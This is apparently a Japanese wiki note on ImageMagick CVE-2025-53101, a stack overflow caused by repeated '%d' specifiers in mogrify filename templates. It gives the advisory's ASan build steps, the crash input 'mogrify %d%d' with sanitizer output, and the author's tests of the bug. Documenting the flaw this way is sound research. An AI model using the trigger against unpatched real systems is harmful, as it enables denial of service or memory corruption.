#author("2025-07-17T04:58:59+00:00","default:yoya","yoya")
#author("2025-07-17T04:59:22+00:00","default:yoya","yoya")
[[CVE/ImageMagick]]
- [[CVE-2025-53101]] mogrify で %d 記法を複数入れるとオーバーフロー。
- https://nvd.nist.gov/vuln/detail/CVE-2025-53101
>
ImageMagick is free and open-source software used for editing and manipulating digital images. In versions prior to 7.1.2-0 and 6.9.13-26, in ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`. Versions 7.1.2-0 and 6.9.13-26 fix the issue.
>
バージョン7.1.2-0および6.9.13-26より前のバージョンでは、ImageMagickの「magick mogrify」コマンドにおいて、ファイル名テンプレートに連続する「%d」フォーマット指定子を複数指定すると、内部ポインタ演算によってスタックバッファの先頭より下のアドレスが生成され、「vsnprintf()」によってスタックオーバーフローが発生していました。バージョン7.1.2-0および6.9.13-26ではこの問題が修正されています。
* 不具合再現 [#wca0205a]
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qh3h-j545-h8c9
# Clone source
git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1
cd ImageMagick-7.1.1
cd ImageMagick-7.1.1
# Build with ASan
CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install
# Trigger crash
./utilities/magick mogrify %d%d
==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10
WRITE of size 2 at 0x7ffda834caae thread T0
(...)
* コード修正 [#r42ede3b]
- https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774
*. [#k7f62d2e]
% magick -version
Version: ImageMagick 7.1.1-47 Q16-HDRI aarch64 22763 https://imagemagick.org
(...)
% magick convert rose: rose-%d.png
rose-0.png
% magick convert rose: rose-%d-%d.png
rose0.png
% magick convert rose: rose-%d-%d-%d.png
ros0.png
% magick convert rose: rose-%d-%d-%d-%d-%d-%d.png
0.png
% magick convert rose: rose-%d-%d-%d-%d-%d-%d-%d.png
.png
% magick convert rose: rose-%d-%d-%d-%d-%d-%d-%d-%d.png
-%d.png.png
% magick convert rose: rose-%d-%d-%d-%d-%d-%d-%d-%d-%d.png
-%d-%d.png-%d.png.png